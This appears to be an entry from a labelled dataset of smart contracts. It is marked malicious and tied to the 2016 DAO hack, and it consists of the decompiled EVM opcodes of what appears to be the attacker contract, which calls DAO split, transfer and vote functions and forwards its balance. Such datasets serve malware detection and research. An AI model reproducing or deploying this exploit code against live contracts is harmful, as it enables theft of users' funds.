Malicious: yes
Notes: 2016 TheDao Hack
Decompiled opcodes:
PUSH1 0x60 PUSH1 0x40 MSTORE PUSH1 0x40 MLOAD PUSH1 0x20 DUP1 PUSH2 0x08a3 DUP4 CODECOPY POP PUSH1 0x80 PUSH1 0x40 MSTORE MLOAD PUSH1 0x00 DUP1 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB NOT SWAP1 DUP2 AND CALLER OR SWAP1 SWAP2 SSTORE PUSH1 0x02 DUP1 SLOAD SWAP1 SWAP2 AND DUP3 OR SWAP1 SSTORE POP PUSH2 0x085e DUP1 PUSH2 0x0045 PUSH1 0x00 CODECOPY PUSH1 0x00 RETURN PUSH1 0x60 PUSH1 0x40 MSTORE CALLDATASIZE ISZERO PUSH2 0x00b9 JUMPI PUSH1 0xe0 PUSH1 0x02 EXP PUSH1 0x00 CALLDATALOAD DIV PUSH4 0x13af4035 DUP2 EQ PUSH2 0x019e JUMPI DUP1 PUSH4 0x26f5a8c9 EQ PUSH2 0x01c1 JUMPI DUP1 PUSH4 0x371fa854 EQ PUSH2 0x01ca JUMPI DUP1 PUSH4 0x4162169f EQ PUSH2 0x01d3 JUMPI DUP1 PUSH4 0x4c8fe526 EQ PUSH2 0x01e5 JUMPI DUP1 PUSH4 0x5970c915 EQ PUSH2 0x01f7 JUMPI DUP1 PUSH4 0x61bc221a EQ PUSH2 0x0209 JUMPI DUP1 PUSH4 0x625e847d EQ PUSH2 0x0212 JUMPI DUP1 PUSH4 0x6637b882 EQ PUSH2 0x0232 JUMPI DUP1 PUSH4 0x7f9f519f EQ PUSH2 0x0255 JUMPI DUP1 PUSH4 0x8da5cb5b EQ PUSH2 0x0278 JUMPI DUP1 PUSH4 0xa9059cbb EQ PUSH2 0x028a JUMPI DUP1 PUSH4 0xc4463c80 EQ PUSH2 0x02b0 JUMPI DUP1 PUSH4 0xc9d27afe EQ PUSH2 0x02df JUMPI DUP1 PUSH4 0xe66f53b7 EQ PUSH2 0x0305 JUMPI JUMPDEST PUSH2 0x0317 PUSH1 0x02 SLOAD PUSH32 0x0e70820300000000000000000000000000000000000000000000000000000000 PUSH1 0x60 SWAP1 DUP2 MSTORE PUSH1 0x00 SWAP2 PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB AND SWAP1 PUSH4 0x0e708203 SWAP1 PUSH1 0x64 SWAP1 PUSH1 0x20 SWAP1 PUSH1 0x04 DUP2 DUP8 DUP8 PUSH2 0x61da GAS SUB CALL ISZERO PUSH2 0x0002 JUMPI POP POP PUSH1 0x40 MLOAD MLOAD CALLER PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND SWAP2 AND EQ SWAP1 POP PUSH2 0x0329 JUMPI PUSH1 0x40 DUP1 MLOAD CALLER PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB AND PUSH1 0x20 DUP3 ADD MSTORE DUP2 DUP2 MSTORE PUSH1 0x0f DUP2 DUP4 ADD MSTORE PUSH32 0x636f6e73747563746f72206661696c0000000000000000000000000000000000 PUSH1 0x60 DUP3 ADD MSTORE SWAP1 MLOAD PUSH32 0xa6af7265d7ede5fbf0ee375956b52b362800d4f92e268809bef5fdf2a57924b8 SWAP2 DUP2 SWAP1 SUB PUSH1 0x80 ADD SWAP1 LOG1 POP PUSH1 0x01 JUMPDEST SWAP1 JUMP JUMPDEST PUSH2 0x0317 PUSH1 0x04 CALLDATALOAD PUSH1 0x00 DUP1 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND CALLER SWAP1 SWAP2 AND EQ PUSH2 0x0492 JUMPI PUSH2 0x0002 JUMP JUMPDEST PUSH2 0x0475 PUSH1 0x05 SLOAD DUP2 JUMP JUMPDEST PUSH2 0x0475 PUSH1 0x04 SLOAD DUP2 JUMP JUMPDEST PUSH2 0x047f PUSH1 0x02 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB AND DUP2 JUMP JUMPDEST PUSH2 0x047f PUSH1 0x06 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB AND DUP2 JUMP JUMPDEST PUSH2 0x047f PUSH1 0x07 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB AND DUP2 JUMP JUMPDEST PUSH2 0x0475 PUSH1 0x03 SLOAD DUP2 JUMP JUMPDEST PUSH2 0x0317 PUSH1 0x00 DUP1 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND CALLER SWAP1 SWAP2 AND EQ PUSH2 0x04ef JUMPI PUSH2 0x0002 JUMP JUMPDEST PUSH2 0x0317 PUSH1 0x04 CALLDATALOAD PUSH1 0x00 DUP1 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND CALLER SWAP1 SWAP2 AND EQ PUSH2 0x057a JUMPI PUSH2 0x0002 JUMP JUMPDEST PUSH2 0x0317 PUSH1 0x04 CALLDATALOAD PUSH1 0x00 DUP1 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND CALLER SWAP1 SWAP2 AND EQ PUSH2 0x05d7 JUMPI PUSH2 0x0002 JUMP JUMPDEST PUSH2 0x047f PUSH1 0x00 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB AND DUP2 JUMP JUMPDEST PUSH2 0x0317 PUSH1 0x04 CALLDATALOAD PUSH1 0x24 CALLDATALOAD PUSH1 0x00 DUP1 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND CALLER SWAP1 SWAP2 AND EQ PUSH2 0x060f JUMPI PUSH2 0x0002 JUMP JUMPDEST PUSH2 0x0317 PUSH1 0x04 CALLDATALOAD PUSH1 0x24 CALLDATALOAD PUSH1 0x44 CALLDATALOAD PUSH1 0x64 CALLDATALOAD PUSH1 0x84 CALLDATALOAD PUSH1 0x00 DUP1 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND CALLER SWAP1 SWAP2 AND EQ PUSH2 0x06a6 JUMPI PUSH2 0x0002 JUMP JUMPDEST PUSH2 0x0317 PUSH1 0x04 CALLDATALOAD PUSH1 0x24 CALLDATALOAD PUSH1 0x00 DUP1 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND CALLER SWAP1 SWAP2 AND EQ PUSH2 0x07bb JUMPI PUSH2 0x0002 JUMP JUMPDEST PUSH2 0x047f PUSH1 0x01 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB AND DUP2 JUMP JUMPDEST PUSH1 0x40 DUP1 MLOAD SWAP2 DUP3 MSTORE MLOAD SWAP1 DUP2 SWAP1 SUB PUSH1 0x20 ADD SWAP1 RETURN JUMPDEST PUSH1 0x05 SLOAD PUSH1 0x03 SLOAD PUSH1 0x00 NOT SWAP1 SWAP2 ADD SWAP1 GT ISZERO PUSH2 0x0402 JUMPI PUSH1 0x40 DUP1 MLOAD PUSH1 0x02 SLOAD PUSH1 0x06 SLOAD PUSH32 0x70a0823100000000000000000000000000000000000000000000000000000000 DUP4 MSTORE ADDRESS PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND PUSH1 0x04 DUP6 ADD MSTORE SWAP4 MLOAD SWAP2 DUP5 AND SWAP4 PUSH4 0xa9059cbb SWAP4 SWAP2 AND SWAP2 DUP5 SWAP2 PUSH4 0x70a08231 SWAP2 PUSH1 0x24 DUP1 DUP4 ADD SWAP3 PUSH1 0x20 SWAP3 SWAP2 SWAP1 DUP3 SWAP1 SUB ADD DUP2 DUP11 DUP8 PUSH2 0x61da GAS SUB CALL ISZERO PUSH2 0x0002 JUMPI POP POP PUSH1 0x40 DUP1 MLOAD DUP1 MLOAD PUSH1 0xe0 PUSH1 0x02 EXP PUSH4 0xa9059cbb MUL DUP3 MSTORE PUSH1 0x04 DUP3 ADD SWAP5 SWAP1 SWAP5 MSTORE PUSH1 0x24 DUP2 ADD SWAP4 SWAP1 SWAP4 MSTORE MLOAD PUSH1 0x44 DUP1 DUP5 ADD SWAP4 PUSH1 0x20 SWAP4 POP DUP3 SWAP1 SUB ADD DUP2 DUP8 DUP8 PUSH2 0x61da GAS SUB CALL ISZERO PUSH2 0x0002 JUMPI POP POP PUSH1 0x01 PUSH1 0x03 DUP2 SWAP1 SSTORE SWAP2 POP PUSH2 0x019b SWAP1 POP JUMP JUMPDEST PUSH1 0x40 DUP1 MLOAD PUSH1 0x03 DUP1 SLOAD PUSH1 0x01 SWAP1 DUP2 ADD SWAP1 SWAP2 SSTORE PUSH1 0x02 SLOAD PUSH1 0x04 DUP1 SLOAD SWAP3 SLOAD PUSH1 0xe2 PUSH1 0x02 EXP PUSH4 0x20998771 MUL DUP6 MSTORE SWAP1 DUP5 ADD SWAP3 SWAP1 SWAP3 MSTORE PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP2 DUP3 AND PUSH1 0x24 DUP5 ADD MSTORE SWAP3 MLOAD SWAP3 AND SWAP2 PUSH4 0x82661dc4 SWAP2 PUSH1 0x44 DUP1 DUP3 ADD SWAP3 PUSH1 0x20 SWAP3 SWAP1 SWAP2 SWAP1 DUP3 SWAP1 SUB ADD DUP2 DUP8 DUP8 PUSH2 0x61da GAS SUB CALL ISZERO PUSH2 0x0002 JUMPI POP PUSH1 0x01 SWAP3 POP PUSH2 0x019b SWAP2 POP POP JUMP JUMPDEST PUSH1 0x60 SWAP1 DUP2 MSTORE PUSH1 0x20 SWAP1 RETURN JUMPDEST PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB AND PUSH1 0x60 SWAP1 DUP2 MSTORE PUSH1 0x20 SWAP1 RETURN JUMPDEST PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB DUP3 AND PUSH1 0x60 SWAP1 DUP2 MSTORE PUSH32 0x3edd90e7770f06fafde38004653b33870066c33bfc923ff6102acd601f85dfbc SWAP1 PUSH1 0x20 SWAP1 LOG1 DUP2 PUSH1 0x00 PUSH1 0x00 PUSH2 0x0100 EXP DUP2 SLOAD DUP2 PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB MUL NOT AND SWAP1 DUP4 MUL OR SWAP1 SSTORE POP PUSH1 0x01 SWAP1 POP JUMPDEST SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x01 PUSH1 0x03 SSTORE PUSH1 0x07 SLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND SWAP1 DUP3 SWAP1 ADDRESS AND BALANCE PUSH1 0x60 DUP3 DUP2 DUP2 DUP2 DUP6 DUP9 DUP4 CALL POP POP PUSH1 0x40 DUP1 MLOAD PUSH1 0x02 SLOAD PUSH1 0x01 SLOAD PUSH1 0x04 DUP1 SLOAD PUSH1 0xe2 PUSH1 0x02 EXP PUSH4 0x20998771 MUL DUP6 MSTORE SWAP1 DUP5 ADD MSTORE PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND PUSH1 0x24 DUP5 ADD MSTORE SWAP3 MLOAD SWAP3 AND SWAP5 POP PUSH4 0x82661dc4 SWAP4 POP PUSH1 0x44 DUP1 DUP3 ADD SWAP4 POP PUSH1 0x20 SWAP3 SWAP2 DUP3 SWAP1 SUB ADD DUP2 DUP8 DUP8 PUSH2 0x61da GAS SUB CALL ISZERO PUSH2 0x0002 JUMPI POP PUSH1 0x01 SWAP3 POP PUSH2 0x019b SWAP2 POP POP JUMP JUMPDEST PUSH1 0x02 DUP1 SLOAD PUSH20 0xffffffffffffffffffffffffffffffffffffffff NOT AND DUP4 OR SWAP1 DUP2 SWAP1 SSTORE PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB AND PUSH1 0x60 SWAP1 DUP2 MSTORE PUSH32 0xce6a5015a40a2ec38ce912a63bca374d85386207c6927d284292449f14310822 SWAP1 PUSH1 0x20 SWAP1 LOG1 POP PUSH1 0x01 PUSH2 0x04ea JUMP JUMPDEST PUSH1 0x05 DUP3 SWAP1 SSTORE PUSH1 0x60 DUP3 DUP2 MSTORE PUSH32 0xbab6859bc098da798dbdc4860f0fee7467d703dadd975799e8c258b46a37d3de SWAP1 PUSH1 0x20 SWAP1 LOG1 POP PUSH1 0x01 PUSH2 0x04ea JUMP JUMPDEST PUSH1 0x02 SLOAD PUSH1 0xe0 PUSH1 0x02 EXP PUSH4 0xa9059cbb MUL PUSH1 0x60 SWAP1 DUP2 MSTORE PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB DUP6 DUP2 AND PUSH1 0x64 MSTORE PUSH1 0x84 DUP6 SWAP1 MSTORE SWAP1 SWAP2 AND SWAP1 PUSH4 0xa9059cbb SWAP1 PUSH1 0xa4 SWAP1 PUSH1 0x20 SWAP1 PUSH1 0x44 DUP2 DUP8 DUP8 PUSH2 0x61da GAS SUB CALL ISZERO PUSH2 0x0002 JUMPI POP POP PUSH1 0x40 DUP1 MLOAD PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB DUP7 AND DUP2 MSTORE PUSH1 0x20 DUP2 ADD DUP6 SWAP1 MSTORE DUP2 MLOAD PUSH32 0x69ca02dd4edd7bf0a4abb9ed3b7af3f14778db5d61921c7dc7cd545266326de2 SWAP4 POP SWAP1 DUP2 SWAP1 SUB SWAP1 SWAP2 ADD SWAP1 LOG1 POP PUSH1 0x01 JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x06 DUP1 SLOAD PUSH20 0xffffffffffffffffffffffffffffffffffffffff NOT SWAP1 DUP2 AND DUP7 OR SWAP1 SWAP2 SSTORE PUSH1 0x01 PUSH1 0x03 DUP2 SWAP1 SSTORE DUP1 SLOAD DUP3 AND DUP8 OR SWAP1 SSTORE PUSH1 0x04 DUP8 SWAP1 SSTORE PUSH1 0x05 DUP5 SWAP1 SSTORE PUSH1 0x07 DUP1 SLOAD SWAP1 SWAP2 AND DUP4 OR SWAP1 DUP2 SWAP1 SSTORE PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND SWAP1 DUP3 SWAP1 ADDRESS AND BALANCE PUSH1 0x60 DUP3 DUP2 DUP2 DUP2 DUP6 DUP9 DUP4 CALL POP POP PUSH1 0x40 DUP1 MLOAD PUSH1 0x02 SLOAD PUSH1 0x04 DUP1 SLOAD PUSH1 0x01 SLOAD PUSH1 0xe2 PUSH1 0x02 EXP PUSH4 0x20998771 MUL DUP6 MSTORE SWAP2 DUP5 ADD MSTORE PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 DUP2 AND PUSH1 0x24 DUP5 ADD MSTORE SWAP3 MLOAD SWAP3 AND SWAP5 POP PUSH4 0x82661dc4 SWAP4 POP PUSH1 0x44 DUP1 DUP3 ADD SWAP4 POP PUSH1 0x20 SWAP3 SWAP2 DUP3 SWAP1 SUB ADD DUP2 DUP8 DUP8 PUSH2 0x61da GAS SUB CALL ISZERO PUSH2 0x0002 JUMPI POP POP PUSH1 0x40 DUP1 MLOAD PUSH1 0x04 SLOAD PUSH1 0x06 SLOAD SWAP1 DUP3 MSTORE PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB AND PUSH1 0x20 DUP3 ADD MSTORE DUP2 MLOAD PUSH32 0xa1ab731770d71027cd294cc0af5c8f5ec3c2ff5dbe6b75d68963d17192f8377b SWAP4 POP SWAP1 DUP2 SWAP1 SUB SWAP1 SWAP2 ADD SWAP1 LOG1 POP PUSH1 0x01 SWAP6 SWAP5 POP POP POP POP POP JUMP JUMPDEST PUSH1 0x02 SLOAD PUSH32 0xc9d27afe00000000000000000000000000000000000000000000000000000000 PUSH1 0x60 SWAP1 DUP2 MSTORE PUSH1 0x64 DUP6 SWAP1 MSTORE DUP4 ISZERO ISZERO PUSH1 0x84 MSTORE PUSH1 0x01 PUSH1 0xa0 PUSH1 0x02 EXP SUB SWAP1 SWAP2 AND SWAP1 PUSH4 0xc9d27afe SWAP1 PUSH1 0xa4 SWAP1 PUSH1 0x20 SWAP1 PUSH1 0x44 DUP2 DUP8 DUP8 PUSH2 0x61da GAS SUB CALL ISZERO PUSH2 0x0002 JUMPI POP POP PUSH1 0x40 DUP1 MLOAD DUP6 DUP2 MSTORE DUP5 ISZERO ISZERO PUSH1 0x20 DUP3 ADD MSTORE DUP2 MLOAD PUSH32 0x8bfa1f40665434b48e7becc865cc0586ce3d6d2388521c05d4db87536ac82799 SWAP4 POP SWAP1 DUP2 SWAP1 SUB SWAP1 SWAP2 ADD SWAP1 LOG1 POP PUSH1 0x01 PUSH2 0x06a0 JUMP STOP STOP STOP STOP STOP STOP STOP STOP STOP STOP STOP STOP UNKNOWN_0xbb SWAP12 UNKNOWN_0xc2 DIFFICULTY UNKNOWN_0xd7 SWAP9 SLT EXTCODEHASH UNKNOWN_0xde INVALID_0x78 0x3fcc1c72d3bb8c189413